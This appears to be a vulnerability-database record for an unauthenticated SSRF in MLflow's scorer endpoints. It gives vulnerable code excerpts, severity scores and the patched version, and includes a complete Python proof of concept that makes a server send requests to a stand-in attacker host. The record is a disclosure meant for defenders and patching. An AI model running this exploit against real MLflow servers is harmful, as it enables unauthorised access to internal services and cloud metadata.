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Response snapshot Oct 26, 2026, 23:07 UTC

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VulnerabilityCVE-2026-115886

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

```python data = serialized.third_party_scorer_data # attacker JSON module_path = data.get("module") or "" class_name = data.get("class") if not any(module_path == m or module_path.startswith(m + ".") for m in THIRD_PARTY_SCORER_ALLOWED_MODULES): raise MlflowException.invalid_parameter_value(...)

Published Updated

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: mlflow: 3.17.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-2wqp-q3c6-ccj5 (opens a new tab)

What happened

### Summary MLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs.

With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

### Details `Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:

```python data = serialized.third_party_scorer_data # attacker JSON module_path = data.get("module") or "" class_name = data.get("class") if not any(module_path == m or module_path.startswith(m + ".") for m in THIRD_PARTY_SCORER_ALLOWED_MODULES): raise MlflowException.invalid_parameter_value(...) module = importlib.

Continue reading

import_module(module_path) scorer_class = getattr(module, class_name, None) # attribute NOT constrained ... init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained ... init_kwargs["model"] = data["model"] # attacker model URI scorer_instance = scorer_class(**init_kwargs) # reflective instantiation ```

The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:

```python THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({ "mlflow.genai.scorers.ragas", "mlflow.genai.scorers.deepeval", "mlflow.genai.scorers.trulens", "mlflow.genai.scorers.phoenix", }) ```

For a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):

```python backend = ScorerLLMClient(model_uri) if backend.route == "databricks": return _create_databricks_provider(backend, **kwargs) if backend.is_native: return _create_gateway_provider(backend, **kwargs) try: from trulens.providers.litellm import LiteLLM litellm_model = backend.model_name ... return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded ```

Only the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.

- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator. - `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.

- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).

### PoC ```python import time import mlflow from mlflow import MlflowClient import requests

TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id. exp_id = client.create_experiment("poc") mlflow.set_tracking_uri(TARGET) mlflow.set_experiment(experiment_id=exp_id) with mlflow.start_span(name="poc-span") as span: span.set_inputs({"q": "hi"}) span.set_outputs({"a": "hi"}) trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the # outbound LLM client at the attacker host with an attacker-chosen # Authorization value (their own canary, not a server secret). serialized_scorer = { "name": "poc", "third_party_scorer_data": { "module": "mlflow.genai.scorers.

trulens", "class": "Coherence", "metric_name": "Coherence", "model": "openai:/gpt-4o", # routes to the litellm fallback "kwargs": { "api_base": ATTACKER, "api_key": "ATTACKER-CANARY", # attacker's own value, not a server secret }, }, } resp = requests.post( f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke", json={ "experiment_id": exp_id, "serialized_scorer": __import__("json").

dumps(serialized_scorer), "trace_ids": [trace_id], }, ) print(resp.status_code, resp.text) time.sleep(5) # scorer job runs asynchronously ```

``` # Attacker-controlled listener at ATTACKER receives, moments later: POST /collect/chat/completions HTTP/1.1 Authorization: Bearer ATTACKER-CANARY Content-Type: application/json ... ```

The `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

### Impact An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body.

This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.

Affected package ranges reported by GitHub: mlflow: >= 3.12.0rc0, < 3.17.0

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 25.2%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-2wqp-q3c6-ccj5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-2wqp-q3c6-ccj5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-115886, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints (CVE-2026-115886). https://kevwire.com/record/CVE-2026-115886

MLA

"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints (CVE-2026-115886)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-115886.

Chicago

KEVWire. "MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints (CVE-2026-115886)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-115886.

Evidence summary (plain text)

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints (Oct 23, 2026).
```python
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
 for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
 raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiation
```

The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2wqp-q3c6-ccj5).
EPSS 0.3% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115886&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-2wqp-q3c6-ccj5: https://github.com/advisories/GHSA-2wqp-q3c6-ccj5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115886&date=2026-10-26
Record ID: CVE-2026-115886.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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